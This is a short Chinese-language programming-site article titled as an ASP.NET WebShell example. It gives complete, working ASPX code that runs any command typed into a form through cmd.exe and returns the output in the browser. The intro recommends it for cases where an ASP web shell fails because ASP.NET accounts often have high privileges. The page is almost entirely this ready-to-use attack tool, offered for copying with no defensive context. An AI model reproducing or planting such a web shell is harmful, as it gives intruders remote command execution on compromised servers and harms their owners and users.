程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 編程語言 >> .NET網頁編程 >> ASP.NET >> 關於ASP.NET >> 一個ASP.Net下的WebShell實例

一個ASP.Net下的WebShell實例

編輯:關於ASP.NET
    一個ASP.Net下的WebShell,主要完成cmd命令。一般的服務器設置,asp.net用戶的權限都比較高。如果asp的webshell無法執行,可能asp.net的可以執行。  

    代碼如下:

    復制代碼 代碼如下:


    <%@ Page Language="C#" AutoEventWireup="true" %>
    <%@ Import Namespace="System.Runtime.InteropServices" %>
    <%@ Import Namespace="System.IO" %>
    <%@ Import Namespace="System.Data" %>
    <%@ Import Namespace="System.Reflection" %>
    <%@ Import Namespace="System.Diagnostics" %>
    <%@ Import Namespace="System.Web" %>
    <%@ Import Namespace="System.Web.UI" %>
    <%@ Import Namespace="System.Web.UI.WebControls" %>
    <script runat="server">
    protected void exec(object sender, EventArgs e)
    {
        string item = cmd.Text;
        Process p = new Process();
        p.StartInfo.FileName = "cmd.exe";
        p.StartInfo.UseShellExecute = false;
        p.StartInfo.RedirectStandardInput = true;
        p.StartInfo.RedirectStandardOutput = true;
        p.StartInfo.RedirectStandardError = true;
        p.StartInfo.CreateNoWindow = true;
        string strOutput = null;
        p.Start();
        p.StandardInput.WriteLine(item);
        p.StandardInput.WriteLine("exit");
        strOutput = p.StandardOutput.ReadToEnd();
        p.WaitForExit();
        p.Close();
        Response.Write("<pre>");
        Response.Write(strOutput);
        Response.Write("</pre>");
    }
        protected void Page_Load(object sender, EventArgs e)
        {
        }
    </script>
    <form id="form1" runat="server">
    <asp:TextBox id="cmd" runat="server" Text="dir c:" /><asp:Button id="btn" onclick="exec" runat="server" Text="execute" />
    </form>

    1. 上一頁:
    2. 下一頁:
    Copyright © 程式師世界 All Rights Reserved